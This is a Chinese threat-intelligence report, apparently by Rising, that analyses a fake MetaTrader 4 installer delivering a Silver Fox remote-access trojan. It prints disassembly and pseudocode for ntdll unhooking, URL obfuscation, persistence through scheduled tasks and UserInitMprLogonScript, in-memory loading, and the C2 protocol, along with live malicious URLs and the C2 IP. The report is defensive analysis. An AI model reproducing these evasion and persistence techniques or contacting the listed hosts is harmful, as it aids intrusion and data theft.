概述
近期,瑞星威胁情报中心捕获一起瞄准交易群体的恶意攻击:攻击者仿冒MetaTrader交易软件分发载体,借助ExeBundler捆绑包搭载带正规签名的MetaTrader 4安装程序作为掩护,后台释放Rust下载器,通过权限探测、持久化落地、无文件内存加载等手段,最终投递疑似银狐生态远控模块。该远控连接指定C2服务端建立通信,具备命令执行、屏幕捕获、键盘记录、剪贴板窃取等全套高危控制能力。
事件详情
本次分析的样本为Mt4setup.zip(下载自:hxxps://pc.dyappdows.xyz/p8/Mt4setup.zip),该压缩包内只有一个名为Mt4setup.exe的文件,对外伪装成MetaTrader交易软件的安装包。该文件实际是一个由ExeBundler生成的捆绑加载器,其文件尾部的BNDL3.0容器中封装了两个文件:一个是Rust编写的恶意程序WinConnectService.exe,另一个是带有MetaQuotes Ltd.有效数字签名的正版MetaTrader 4安装程序mt4setup.exe。
载荷执行后完成两项动作:将两个组件解密释放至%TEMP%目录并依次启动;利用正版安装程序转移用户视线,同时在后台唤起下载器。下载器通过net session判断当前权限,依据权限选择登录计划任务或登录脚本实现持久化;随后从内置密文中解析出远程地址,拉取后续阶段载荷,将其写入可读写可执行内存,并借助EnumWindows回调完成载荷执行。
真正的远控能力位于最后一环:下载得到的cx_config.5.18.8.bin并非配置文件,而是支持双向认证的模块加载器。该加载器读取内置配置,连接至13.196.214.159:5188,分块接收服务端下发的设备模块.dll,在内存中完成反射加载并调用导出函数DM_Start,由此搭建完整远控通道,可实现远程命令执行、文件管理、屏幕截取、键盘记录、剪贴板读写、服务与令牌操控、新增防火墙规则等功能。
攻击流程
受害者在投递站点pc.dyappdows.xyz下载Mt4setup.zip,解压获得伪装为MetaTrader 4安装包的Mt4setup.exe;该程序将正版mt4setup.exe与恶意程序WinConnectService.exe释放至%TEMP%,先启动正版安装器展示正常安装界面迷惑用户,再后台拉起WinConnectService.exe,由其从hxxps://api.appstore.name/pujing/cx_config.5.18.8.bin下载载荷并在内存解密执行,随后cx_config.5.18.8.bin连接13.196.214.159:5188,继续在内存下载并运行银狐设备模块.dll。

样本分析
初始样本Mt4setup.zip分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | Mt4setup.zip |
| 文件大小 | 5.18 MB(5,435,329 字节) |
| 文件MD5 | 0ce0a45ae22cb19d04c10d035b8a6bcc |
| 文件类型 | ZIP压缩包 |
样本Mt4setup.zip获取自投递站点hxxps://pc.dyappdows.xyz/p8/Mt4setup.zip,解压后仅有Mt4setup.exe。

初始样本Mt4setup.exe分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | Mt4setup.exe |
| 文件大小 | 7.09 MB(7,435,893 字节) |
| 文件MD5 | 61e69d701f70d18c5caf304bbc429224 |
| 文件类型 | EXE |
| 病毒名 | Dropper.Agent/x64!1.14B1A |
| 主要功能 | 解密并释放捆绑的两个文件到%TEMP% |
Mt4setup.exe是整条攻击链的入口:对外包装为MetaTrader 4安装程序,本质为ExeBundler捆绑加载器。文件尾部的BNDL3.0容器内嵌两份载荷,分别是使用Rust开发的恶意程序WinConnectService.exe,以及携带MetaQuotes Ltd.有效数字签名的正版MetaTrader 4安装程序mt4setup.exe。
Mt4setup.exe运行后读取自身尾部加密容器,解密并将正版MetaQuotes安装程序与Rust恶意程序WinConnectService.exe释放至%TEMP%,优先启动正版mt4setup.exe展示正常安装界面迷惑用户,随后在后台唤起恶意程序WinConnectService.exe。这套 “正版外壳 + 恶意内衬” 的组合,既可削弱用户警惕性,也为后续恶意载荷执行争取运行窗口。

// Mt4setup.exe 主流程(伪代码)
hSelf = CreateFileW(selfPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, ...);
size = GetFileSizeEx(hSelf);
SetFilePointerEx(hSelf, size - signatureLen - 0x228, NULL, FILE_BEGIN);
ReadFile(hSelf, &hdr, 0x228, ...); // 文件尾 552 字节容器头
if (memcmp(hdr.magic, "BNDL3.0", 8) != 0) return;
for (i = 0; i < hdr.count; i++) {
// 条目头:u32 size + u32 flag + wchar_t name[260]
xor_decrypt(&entryHdr, hdr.key, 0x210); // 528 字节条目头,16 字节循环异或
xor_decrypt(entryData, hdr.key, entryHdr.size); // 每个条目独立从索引 0 重新计数
dir = ExpandEnvironmentStringsW(hdr.dir); // "%TEMP%"
path = dir + L"\\" + entryHdr.name;
WriteFile(CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL),
entryData, entryHdr.size, ...);
}
pInstaller = entry_with_flag(2); // 正版安装器:先启动,不等待
pBackdoor = entry_with_flag(1); // 恶意组件(下载器):随后启动
CreateProcessW(pInstaller->path, ...);
CreateProcessW(pBackdoor->path, ...);
WaitForSingleObject(pi.hProcess, INFINITE); // 等待下载器退出
WinConnectService.exe分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | WinConnectService.exe |
| 文件大小 | 1.87 MB(1,960,837 字节) |
| 文件MD5 | 8b9253c44fde1797ada4fa5a0354413f |
| 文件类型 | EXE |
| 病毒名 | Downloader.Agent!1.14B24 |
| 主要功能 | 计划任务/登录脚本持久化 + 下载执行下一阶段载荷 |
WinConnectService.exe为Rust编写的恶意程序,文件大小约1.9 MB,其中约1.5 MB左右 属于无效填充数据,实际有效代码仅约371 KB;这种 “大体积、轻逻辑” 的构造,是低成本规避检测的手段。它在攻击链中承担 “执行官” 角色,核心动作包含ntdll重载、权限探测、配置自启、下载载荷内存执行等。
1. ntdll重载抹除用户态钩子
WinConnectService.exe在程序入口优先执行ntdll重载反挂钩:读取磁盘上的ntdll.dll,使用原始字节覆盖进程内ntdll的代码段。该操作可擦除EDR/AV在ntdll函数入口植入的内联钩子,且仅覆盖代码段。该逻辑排在网络通信、持久化等恶意动作之前,是样本首要的对抗规避手段。以下是详细分析:
通过CreateFileW、SetFilePointerEx、NtReadFile将磁盘上C:\Windows\System32\ntdll.dll完整读取至堆缓冲区。
; 打开磁盘上的 ntdll.dll(路径常量 RVA 0x4E788,长度 29)
1400034A5 lea rcx, [rip + 0x4b2dc] ; "C:\Windows\System32\ntdll.dll"
1400034B4 mov edx, 0x1d ; 29 = 路径长度
1400034B9 call 0x140033740 ; CreateFileW 封装,返回文件句柄
140003577 call SetFilePointerEx ; 指针归零(FILE_BEGIN)
140003738 call NtReadFile ; 整份读入堆缓冲区,缓冲区基址存 [rsp+0x58]
宽字符串ntdll.dll采用分段拼接构造,先写入一个宽字符L"n",再将以UTF‑8存储的tdll.dll逐码点解码为UTF‑16追加。
; 现拼宽字符串 L"ntdll.dll"
140003883 mov word ptr [rax], 0x6e ; 先写 L"n"
1400038A8 lea r14, [rip + 0x4aef7] ; "tdll.dll"(首字符已被拆走)
1400038DF mov word ptr [rax + rdi*2], bp ; UTF-8 → UTF-16 转换写回堆缓冲
调用GetModuleHandleW获取进程内已加载ntdll的基址,解析PE头,使用立即数0x747865742E(代表.text)匹配代码区段,提取该段的VirtualAddress、SizeOfRawData、PointerToRawData。
; 取内存中 ntdll 基址
140003A42 call GetModuleHandleW ; 参数即上一步拼出的 L"ntdll.dll"
; 定位 .text 区段(区段头 40 字节,比较前 5 字节名称)
140003A7B movabs r9, 0x747865742E ; ".text"
140003A90 mov r10d, [rcx + rdx] ; Name[0..3]
140003A94 movzx r11d, byte ptr [rcx + rdx + 4] ; Name[4]
140003AA1 cmp r11, r9 ; 与 ".text" 比对
140003AB1 mov r8d, [rcx + rdx + 0xC] ; VirtualAddress
140003AB6 mov ebx, [rcx + rdx + 0x10]; SizeOfRawData
140003ABA mov r14d, [rcx + rdx + 0x14]; PointerToRawData
调用VirtualProtect,尝试将.text权限临时修改为PAGE_EXECUTE_READWRITE(可读可写可执行);若该调用失败,则直接静默跳过后续流程。权限修改成功时,使用磁盘原版镜像覆盖内存中的代码段,拷贝完成后恢复原有页保护。
; 改属性 → 覆盖 → 恢复
140003ACA add rax, r8 ; 模块基址 + VirtualAddress
140003ADE mov r8d, 0x40 ; PAGE_EXECUTE_READWRITE
140003AE4 call VirtualProtect
140003AED add r14, [rsp + 0x58] ; 文件缓冲区 + PointerToRawData
140003AFB call memcpy ; dest = ntdll!.text,len = SizeOfRawData
140003B16 call VirtualProtect ; 用保存的旧属性恢复
2. 权限探测与双重持久化
WinConnectService.exe准备了两条自启路径:登录计划任务与登录脚本,二者触发条件相互独立。若具备管理员权限,样本会在运行早期注册登录计划任务,待载荷拉取成功后再写入登录脚本,完成双重持久化;在普通用户权限下,无法创建目标计划任务,仅会在载荷下载成功后部署登录脚本。以下是详细分析:
程序启动后会调用系统自带net session完成权限检测:普通用户权限执行该命令将返回拒绝访问,退出码为2;管理员权限下正常执行,退出码为0,样本依靠比对该退出码完成权限判定。
0x140003CCB call 0x14003F500 ; Command::output("net", ["session"])
0x140003CD5 mov rax, [rsp + 0x60] ; 子进程退出码
0x140003CDA cmp rax, 2 ; 是否等于 2(拒绝访问)
0x140003CDE jne 0x140003CE8 ; 不等于 2:继续解析输出
0x140003CE0 mov r14, rbx
0x140003CE3 jmp 0x1400042A3 ; 等于 2:跳过管理员分支
登录计划任务:退出码为0时,表示进程拥有管理员权限,程序会在启动早期调用计划任务接口,注册一项登录触发的计划任务:每当用户登录,该任务将以当前用户可获得的最高权限静默重启载荷,执行过程采用隐藏窗口,受害者不会察觉到异常弹窗。当退出码为2,程序跳过该管理员专属分支。
| 项目 | 实际内容 | 说明 |
|---|---|---|
| 任务名称 | \WinConnectService |
注册在任务计划程序根目录下的名字 |
| 触发时机 | 用户登录(LogonTrigger) |
每次用户登录Windows时自动运行 |
| 运行身份 | 当前用户(InteractiveToken) |
使用已登录用户的身份,不需要另建账户或输入密码 |
| 运行权限 | 最高可用(HighestAvailable) |
任务计划程序以该用户可用的最高权限启动;用户属于管理员组时以管理员令牌运行,且不弹UAC |
| 启动方式 | cmd.exe /c start "" "" |
由系统命令代为启动样本自身 |
| 载荷路径 | %TEMP%\WinConnectService.exe |
实际感染时下载器释放到临时目录 |
| 任务状态 | Ready |
任务已启用,等待登录触发 |
登录脚本注册表:载荷成功取回之后,样本在HKCU\Environment项下新建UserInitMprLogonScript字符串值(REG_SZ),键内容为cmd.exe /c start "" "",以此将WinConnectService.exe注册为当前用户登录脚本;用户登录时,系统将自动读取并执行该条目。
0x1400047D5 mov dword ptr [rsp + 0x28], 0xF003F ; KEY_ALL_ACCESS
0x1400047E5 mov rcx, 0xFFFFFFFF80000001 ; HKEY_CURRENT_USER
0x1400047EC mov rdx, rbx ; "Environment"
0x1400047F5 call RegCreateKeyExW
...
0x1400063B2 lea rdx, [rip + 0x4847E] ; "UserInitMprLogonScript"
0x1400063C1 mov r8d, 0x16 ; 22
0x1400063EF mov r9d, 1 ; REG_SZ
0x1400063F5 call RegSetValueExW
3. 藏在密文里的下载地址
攻击者刻意避免在静态文件中留下可被字符串检索到的“路标”,真实下载地址没有以明文形式出现在样本里,而是以 54 字节密文存放在WinConnectService.exe的文件偏移0x4CCC0。样本先取常量0x7742767E作为输入,调用一段取址函数;该函数采用控制流平坦化写法,把几步算术拆成多个分支,用状态变量逐轮分派异或、取反、取负、乘法和减法,最终算出偏移0x11C9,再与映像中的固定基址相加定位到密文;随后把密文按 6 个 8 字节、1 个 4 字节、1 个 2 字节切开,逐段按小端读入并加上固定常量,拼出完整地址:hxxps://api.appstore.name/pujing/cx_config.5.18.8.bin。
0x140004BC5 mov dword ptr [rsp+0x50], 0x7742767E ; 取址函数输入
0x140004BDE call 0x1400017B0 ; 返回密文偏移 0x11C9
0x140004BE3 movabs rcx, 0x12E326A0CAAD8F06
0x140004BED add rcx, qword ptr [rax+0x00] ; 第 1 段:8 字节
0x140004BF0 movabs rdx, 0x9474DB9CB0D4AADB
0x140004BFA add rdx, qword ptr [rax+0x08] ; 第 2 段:8 字节
0x140004BFE movabs r8, 0xF673BB36EFECDFFF
0x140004C08 add r8, qword ptr [rax+0x10] ; 第 3 段:8 字节
0x140004C0C movabs r9, 0xAC829DE6A3B24C3C
0x140004C16 add r9, qword ptr [rax+0x18] ; 第 4 段:8 字节
0x140004C1A movabs r10, 0xFF7D99D118FA6D59
0x140004C24 add r10, qword ptr [rax+0x20] ; 第 5 段:8 字节
0x140004C28 movabs r11, 0x58C2BB93C4B461B2
0x140004C32 add r11, qword ptr [rax+0x28] ; 第 6 段:8 字节
0x140004C36 mov esi, 0xF9AB552B
0x140004C3B add esi, dword ptr [rax+0x30] ; 第 7 段:4 字节
0x140004C3E movzx eax, word ptr [rax+0x34]
0x140004C42 add eax, 0xFFFFE92C ; 第 8 段:2 字节
; 8 段结果拼成 https://api.appstore.name/pujing/cx_config.5.18.8.bin
4. 取回载荷与烟幕请求
拿到地址后,样本通过系统自带的网络组件取回下一阶段载荷cx_config.5.18.8.bin;失败时按 15 分钟间隔重试,最多三次;三次尝试都失败后,程序调用Rust的panic路径并执行ud2指令,以异常方式结束当前进程。载荷落位后,它还会访问一次正规的安全资讯服务,把美国CISA的安全公告源包装成一次普通的资讯浏览,这次请求只是烟幕,不是指挥通道。对防守方而言,这类“合法服务 + 正常浏览器特征”的流量最容易混在背景噪声里。
; 下载下一阶段载荷
0x140004CA0 lea rcx, [rip+0x49B08] ; User-Agent
0x140004CAF call InternetOpenA
0x140004CD1 lea rdx, [rsp+0x50] ; 还原出的下载地址
0x140004CDF call InternetOpenUrlA
0x140004D30 mov rcx, r15 ; hInternet
0x140004D33 mov rdx, r12 ; 4 KB 缓冲区
0x140004D36 mov r8d, 0x1000
0x140004D3C mov r9, r13 ; 实际读取长度
0x140004D3F call InternetReadFile
0x140004D7E add rdi, rbx ; 累计写入长度
0x140004D89 jmp 0x140004D30 ; 循环读取
0x140004DDD mov ecx, 0xDbba0 ; 900000 ms = 15 分钟
0x140004DE2 call Sleep ; 失败后休眠 15 分钟再试,第 3 次失败则退出
; 载荷执行后的烟幕请求
0x1400054C6 lea rcx, [rip+0x492E2] ; 同一 User-Agent
0x1400054D5 call InternetOpenA
0x1400054F3 lea rdx, [rip+0x49358] ; rss2json + CISA RSS
0x140005503 call InternetOpenUrlA
0x140005547 call InternetReadFile ; 只读 0x200 字节
0x14000554F call InternetCloseHandle
5. 内存执行载荷
下载的载荷cx_config.5.18.8.bin不会落盘,而是被写入一块可执行内存;写入过程被拆成随机大小的块,并在块与块之间插入短暂停顿,拉长写入窗口,规避基于瞬时内存扫描的检测。写入完成后,样本没有使用显式的跳转指令,而是把这块内存的基址交给系统的窗口枚举回调,由系统在枚举窗口时“顺手”执行;随后进程进入消息循环常驻。
0x140005636 mov rcx, r14 ; lpEnumFunc = 内存中的载荷
0x140005639 xor edx, edx ; lParam = 0
0x14000563B call EnumWindows ; 借系统回调执行
cx_config.5.18.8.bin 分析
| 字段 | 内容 |
|---|---|
| 原始文件名 | cx_config.5.18.8.bin |
| 文件大小 | 16.8 KB(17,239 字节) |
| 文件MD5 | 3f71ed87003b4f0b65e7723d2ae2e4a7 |
| 病毒名 | Trojan.Kryptik/x64!1.14B28 |
| 主要功能 | 解出C2并加载最终远控模块 |
该文件名义上为配置文件,实际是一个加壳的x64装载器:首先解包外层壳,随后从自身数据段解密取出配置,最后依据配置连接远端服务器,拉取远控模块并在内存中执行。
1. 脱壳:文件末尾0x4315处有 66 字节stub,它先改写开头0x0C–0x1F的 5 个 dword,得到滚动异或解密器;解密器从0x4314向0x2E反向逐字节执行plain = cipher ^ key; key += plain,共还原0x42E7字节。解完后,0x2E起就是可执行的x64代码。
0x4315 EB 05 jmp 0x431C
0x431C 5A pop edx ; edx = call 压栈的返回值 5
0x4328 C1 42 07 DC rol dword [edx+0x7], 0xDC
0x4334 C1 42 0B EE rol dword [edx+0xB], 0xEE
0x433C C1 4A 0F 4C ror dword [edx+0xF], 0x4C
0x434B F7 52 13 not dword [edx+0x13]
0x4352 F7 52 17 not dword [edx+0x17]
0x4355 FF E2 jmp edx
2. 解出配置里的C2:脱壳后的代码先在自身数据里找 7 字节标记25 40 29 21 23 21 24,标记后紧跟0x1D0字节密文。代码以0xC0DEFACE为种子生成密钥流,逐字节异或;密钥流每个字节由hash(seed - i * 0x61C88647)取低 8 位得到。
0x00DA movsxd rcx, edx
0x00DD mov ebx, 0x1D0
0x00E2 add rcx, r8
0x00E5 mov r8d, 0xC0DEFACE
0x00EB mov edx, ebx
0x00ED add rcx, 7
0x00F8 call 0x9F2 ; 流式异或解密 0x1D0 字节
0x0109 cmp dword ptr [r8], 0x32564D44 ; "DMV2"
0x0112 cmp dword ptr [r8+4], ebx ; 长度 0x1D0
0x0118 cmp dword ptr [r8+8], 2 ; 版本 2
0x0122 cmp byte ptr [r8+rax+0x16C], r14b ; 客户端 ID 非全零
解密后先校验四个条件:头是0x32564D44(按小端读作DMV2,疑似Device Module v2的缩写)、长度是0x1D0、版本是2、+0x16C处 32 字节客户端ID非全零。四项都通过,才认为这是一份有效配置;随后按固定偏移取值。
| 偏移 | 字段 | 实际值 | 作用 |
|---|---|---|---|
0x00 |
文件头 | DMV2、长度0x1D0、版本2 |
配置块标识,定义该配置结构格式与版本 |
0x0C |
C2地址 |
13.196.214.159 |
远端命令控制服务器 IP |
0x10B |
目录/密钥 | 0685DD72000061FD |
用作本地缓存目录名称;同时作为 16 字节重复异或密钥 |
0x154 |
端口 | 0x1444(十进制 5188) |
连接C2的TCP端口 |
0x15C |
密钥材料 | 16 字节 | 预共享秘密,作为KDF输入,派生c2s / s2c会话密钥 |
0x16C |
客户端ID |
32 字节 | 与密钥材料一起送入KDF,并作为客户端身份 |
3. 联网下载后续载荷:
- 先和
13.196.214.159:5188建立连接:程序从配置里取出服务器地址和端口,发起一条原始TCP连接。它没有使用浏览器或HTTPS,而是自己管理套接字(把发送和接收超时都设为 5 秒,避免网络卡住时进程一直等) - 开启
TCP保活,让系统定期探测连接是否还活着 - 把收发缓冲区都调到
64 KB,为后续分块传输模块留出空间 - 连接失败或中途断开时,程序不报错退出,而是等 5 秒后重新连接,尽量维持这条通道。
; 创建套接字并设置超时、保活、缓冲区
0x3C27 call qword ptr [rdi+0xB8] ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
0x3C2D mov ecx, 0x1388 ; 5000 ms
0x3C70 mov dword ptr [rbp+0x1C0], 0x10000
0x3C7F call qword ptr [rdi+0xF8] ; setsockopt:超时/保活
0x3CA0 call qword ptr [rdi+0xF8] ; setsockopt:收发缓冲区
; 取 config+0x0C 的服务器地址,取 config+0x154 的端口
0x3D31 mov rcx, qword ptr [rdi+0x188]
0x3D42 add rcx, 0x0C
0x3D49 call qword ptr [rdi+0xC0] ; getaddrinfo
0x3D72 movzx ecx, word ptr [rax+0x154]
0x3D79 call qword ptr [rdi+0xD0] ; htons
0x3D9B call qword ptr [rdi+0xD8] ; connect
连上后先验身份。双方各有一份 16 字节的预共享密钥材料,配置里还有 32 字节客户端ID;握手时双方再各自生成随机数,连同握手过程记录一起送入Magnet Wire v2的密钥派生流程。这个流程不直接传输密钥材料,而是派生出两把会话密钥:c2s key用于客户端发往服务器的数据,s2c key用于服务器发往客户端的数据;同时算出client proof和server proof,双方互相校验,确认对面持有同一份密钥材料。这样即使有人截获流量,也拿不到原始密钥,无法冒充服务器或客户端。
; 发送 34 字节、类型 2 的握手包
0x3DFD mov r9b, 2 ; type = 2
0x3E00 mov r8b, 0x22 ; length = 0x22
0x3E0B call 0x2C02 ; 组包并发送握手
认证通过后进入报文阶段。每个报文头带magic=1、协议版本 2、消息类型和递增序号,正文用本次会话的密钥加密,末尾附CRC32校验。接收方检查序号,重复或过旧的报文会被丢弃,防止攻击者把之前的指令重新播放;CRC32则用于发现传输过程中的损坏或被篡改。也就是说,这条通道既有加密,也有完整性和防重放。
; 发送端组包
0x2C36 cmp dword ptr [rdx], 1 ; magic = 1
0x2C8B mov byte ptr [rcx+4], r15b ; 消息类型
0x2C8F mov byte ptr [rcx+6], al
0x2C92 mov byte ptr [rcx+5], r14b
0x2C96 mov byte ptr [rcx+7], 2 ; 协议版本 = 2
0x2C9A mov rbx, qword ptr [rbp+0x1E0]
0x2CA5 lea rax, [rbx+1]
0x2CAC mov qword ptr [rbp+0x1E0], rax ; 序号自增
0x2CB3 call 0xB42 ; 把序号写入报文头
0x2D59 call 0xC42 ; 发出报文
; 接收端校验
0x2DB6 cmp dword ptr [rdx], 1 ; magic = 1
0x2E00 cmp byte ptr [rsp+0xBF], 2 ; 版本 = 2
0x2E48 call 0xB02 ; 取出报文序号
0x2E50 cmp rax, qword ptr [rbx+0x1E8] ; 与期望序号比较
0x2E57 jne 0x2EC8 ; 不一致则丢弃
; CRC32
0x0BA6 and ecx, 0xEDB88320 ; CRC32 多项式
0x406A call 0xB82 ; 累计 CRC
0x40A5 not r8d ; 取反后比对
通道建好后开始取模块。服务器把压缩模块分块发下来,cx_config边收边拼,拼完整后按配置里的 16 字符标识做重复异或,写到%ProgramData%\0685DD72000061FD\1。这个文件只是压缩模块的缓存,不是可直接执行的PE;程序随后把它读回、解压,得到银狐远控模块设备模块.dll,再在内存中完成映射和导入修复,按导出名哈希找到DM_Start并调用。
; 1) 按消息类型接收模块
0x3EB0 mov al, byte ptr [rbp+0x1C8] ; 消息类型
0x3EB6 cmp al, 0x1F ; 模块分块
0x3FED cmp al, 0x20
0x408A cmp al, 0x21
; 2) 拼完后异或写入 ProgramData\<目录>\1
0x2FF9 call qword ptr [rdi+0x18] ; 分配路径缓冲区
0x3036 call r10 ; SHGetFolderPathA(CSIDL_COMMON_APPDATA)
0x3076 call 0x7A2 ; 追加 0685DD72000061FD
0x3F6E mov rdx, qword ptr [rdi+0x188]
0x3F7C add rdx, 0x10B ; 目录/异或密钥
0x3F8B mov dword ptr [rdi+0x180], r13d ; 模块长度
0x3F92 call 0x3822 ; 异或、CreateFile、WriteFile
; 3) 读回、解压、反射加载
0x398D mov edx, dword ptr [rdi+0x180]
0x3993 mov rcx, qword ptr [rdi+0x178]
0x399D call 0x3342 ; 解压
0x39CC mov rdx, rbp ; 解压后的 PE
0x39D2 call 0x3542 ; 反射加载
; 4) 按导出名哈希调用 DM_Start
0x37EB mov edx, 0x2EC07661 ; DM_Start 的导出哈希
0x37F3 call 0x31E2 ; 查找导出
0x3804 call rax ; DM_Start(config)
设备模块.dll分析
| 字段 | 内容 |
|---|---|
| 文件名 | 设备模块.dll |
| 文件MD5 | 1ec2c2783c3e3fb3848087661634a8a8 |
| 文件大小 | 0.50 MB(519,680 字节) |
| 文件类型 | DLL |
| 病毒名 | Backdoor.SilverFox!1.14B30 |
| 备注 | 银狐远控模块 |
攻击者通过cx_config.5.18.8.bin投递加密模块,在内存中完成解密并加载,解密后的实体即为设备模块.dll。该模块有两个导出函数:DM_Start和DM_Stop。DM_Start接收配置并启动会话,DM_Stop负责停止会话、释放资源。模块所需全部配置项,如C2、端口、目录、密钥和客户端ID全部来自cx_config.5.18.8.bin,所以此次通信的C2仍为:13.196.214.159:5188。
该模块具备完整的远控能力,支持会话管理、命令执行、文件传输、防火墙规则写入,并采用插件化架构按需加载键盘记录、截屏、剪贴板捕获等采集模块,同时批量搜刮浏览器隐私与系统资产信息;通信依托独立加密协议,依靠备用C2与动态加载插件提升存活与扩展能力。
1. 数据采集
采集MachineGuid、系统版本、显示设备/显卡、磁盘(卷信息与剩余空间)、物理内存、杀毒软件(WMI)、网卡、安装软件、浏览器以及UAC开关与RDP端口等数据信息,C2建立通信成功后加密上传。
0x12534 cpuid ; CPU 品牌串
0x1267C call EnumDisplayDevicesW ; 显卡适配器与驱动
call GlobalMemoryStatusEx ; 物理内存,折算为 GB
0x12760 call GetLogicalDrives ; 磁盘
call GetDriveTypeW
call GetDiskFreeSpaceExW
0x12398 call GetAdaptersAddresses ; 网卡地址与网关
0x1317C call 0x12D24 ; 杀毒软件,WMI ROOT\SecurityCenter2
0x129E0 ... ; 主板与固件,WMI FriendlyName
0x12194 call GetLocalTime ; 系统时间与时区
call FileTimeToSystemTime
0x13800 ... ; EnableLUA 开关与 RDP 端口
2. 建立通信
该模块在建立会话前先校验配置头:DMV2标记、结构长度0x1D0、协议版本2,任一不符即拒绝启动;校验通过后取出密钥准备握手,解析C2地址,用非阻塞TCP连接,总超时上限 10 秒。连上之后走Magnet Wire v2双向认证,生成两套独立的收发密钥,在TCP之上实现可靠传输。认证成功启动事件循环,上报采集的信息,后续收到指令交给分发函数0x495CC处理。
; 校验并拷贝 DMV2 配置
0x53C0B cmp dword ptr [rcx], 0x32564D44 ; 'DMV2'
0x53C12 cmp dword ptr [rcx+4], 0x1D0 ; 结构长度
0x53C19 cmp dword ptr [rcx+8], 2 ; 协议版本
0x4B78B call 0x16D8 ; 派生 psk / key id
; 解析 C2 地址
0x63B4 call htons
call getaddrinfo ; AF_INET + SOCK_STREAM
call freeaddrinfo
3. 收发远控指令
该远程控制协议指令集完备,覆盖会话生命周期管理、探活确认、交互式命令执行、文件上传下载、分块传输、配置备用C2、系统服务管理与添加防火墙规则等能力。以下是对远控功能的解析:
18004A0C0 cmp ecx, 0x29
18004A0C3 jg 0x18004A46E
18004A0C9 je 0x18004A405 ; 0x29
18004A0CF cmp ecx, 0x12
18004A0D2 je 0x18004A30C ; 0x12
18004A0D8 cmp ecx, 0x13
18004A0DB je 0x18004A1A3 ; 0x13
18004A0E1 cmp ecx, 0x1E
18004A0E4 jle 0x18004A55A ; <0x1E 丢弃
18004A0EA cmp ecx, 0x21
18004A0ED jle 0x18004A0FD ; 0x1E..0x21 → 公共入口
18004A0EF cmp ecx, 0x23
18004A0F2 je 0x18004A0FD
18004A0F4 cmp ecx, 0x26
18004A0F7 jne 0x18004A55A
18004A0FD lock cmpxchg [rsi+0x49d8], rdi ; 取文件/任务对象
程序/命令执行
通过CreateProcessW拉起进程,支持指定路径、命令行与工作目录;进程启动后立刻关闭句柄,默认不接管输出,如需回显会调用独立管道例程捕获标准流。或者使用ShellExecuteExW,依靠系统文件关联启动程序、打开文档或访问URL。
0x18000F34F call qword ptr [KERNEL32.dll!CreateProcessW] ; 0x07 直接执行
0x18000F44A call qword ptr [SHELL32.dll!ShellExecuteExW] ; 0x08 Shell 执行
文件管理
支持文件浏览、上传、下载、删除、移动以及属性修改。请求首字节为子命令,后跟路径与参数,交由0x489A0完成解析与分派;真正的文件读写、目录操作最终转发至0xF5FC系列例程执行。
0x180010642 call qword ptr [KERNEL32.dll!CreateFileW]
0x180010677 call qword ptr [KERNEL32.dll!WriteFile]
0x1800160B7 call qword ptr [KERNEL32.dll!FindFirstFileW]
0x18001697F call qword ptr [KERNEL32.dll!MoveFileExW]
下发备用地址
把服务端下发的地址写入BACKUP_ADDR.LIST,供后续重连使用。
lea r8, aBackupAddrList ; "BACKUP_ADDR.LIST"
call sub_180011500 ; 拼接目标路径
call sub_1800167B8 ; 写入地址列表
下载执行
解析下载任务,创建工作线程,完成下载、落盘和启动。
; 缺省文件名 download.exe
lea rdx, aDownloadExe ; "download.exe"
call sub_1800047CC
; 没有扩展名时补 .exe
lea rdx, aExe ; ".exe"
call sub_18000D478
; 进入下载流程并记录 URL
call sub_1800108FC
lea r9, aUrlLs ; "url=%ls"
添加防火墙规则
该功能直接调用Windows COM接口:
- 通过
CLSID{E2B3C97F-6AE1-41AC-817A-F6F92166D7DD}(NetFwPolicy2)实例化策略对象,获取INetFwPolicy2({98325047-C671-4174-8D81-DEFCD3F03186})对应的规则集合,再依据下发载荷逐条构造INetFwRule并写入防火墙规则 - 该逻辑由
FirewallAdd指令驱动,处理结果分为三种状态回传:FirewallAddOK、FirewallAddexists、FirewallAddfailed;若失败,则返回FirewallAddpayloaddecodefailed
0x1800334E0 call qword ptr [ole32.dll!CoInitializeEx]
0x18003352C call qword ptr [ole32.dll!CoCreateInstance] ; CLSID_NetFwPolicy2
0x180033604 call qword ptr [ole32.dll!CoCreateInstance] ; 规则对象(NetFwRule)
0x180033681 call qword ptr [ole32.dll!CoUninitialize]
命令汇总如下:
命令ID |
功能 |
|---|---|
0x02 |
会话停止/拆除:置会话标志位后唤醒发送线程收尾 |
0x03 |
短确认帧:告知对端上一块已收到并维持会话 |
0x05 |
单通道停止 |
0x07 |
CreateProcessW执行 |
0x08 |
ShellExecuteExW执行 |
0x09 |
卸载退出:清目录、关对象、exit(0) |
0x0A |
空应答/探活 |
0x0B |
文件管理 |
0x0C |
下发备用地址,写入BACKUP_ADDR.LIST |
0x0D |
上传元信息,用于描述紧随其后的数据块 |
0x11 |
下载执行 |
0x12 |
文件传输控制 |
0x13 |
文件传输分块 |
0x1F |
分块传输:元信息 |
0x20 |
分块传输:数据块 |
0x21 |
分块传输:结束确认 |
0x23 |
插件命令 |
0x26 |
插件命令 |
0x29 |
状态查询应答 |
0x2A |
客户端上传数据块 |
0x2C |
服务端下发数据块 |
0x2D |
服务控制 |
0x2E |
防火墙规则添加 |
4. 插件体系
除内置后端,该远控模块还支持扩展功能:在配置指定的工作目录(本次为%ProgramData%\0685DD72000061FD)下拼接Modules\x64\,从该目录动态加载额外功能DLL
| 类别 ID | 注册名 | 后端类名 | 功能 |
|---|---|---|---|
2 |
KEYLOG |
InputCaptureWinBackend |
键盘/鼠标输入捕获、键盘记录 |
3 |
SHOT / ASHOT |
ScreenshotWinBackend |
全屏截图、区域截图 |
4 |
NETWORK / ANETWORK / BNETWORK |
NetworkTableWinBackend |
本机网络连接表、连接管理 |
5 |
CLIPBOARD / ACLIPBOARD / BCLIPBOARD |
ClipboardWinBackend |
剪贴板读取、写入、清空 |
6 |
FILTER / AFILTER |
FilterProbeWinBackend |
过滤器/探针,配合截屏与输入捕获 |
lea r9, aKeylog ; "KEYLOG"
mov r8d, 2
call sub_1800427E4
lea r9, aAshot ; "ASHOT"
mov r8d, 3
call sub_1800427E4
lea r9, aAnetwork ; "ANETWORK"
mov r8d, 4
call sub_1800427E4
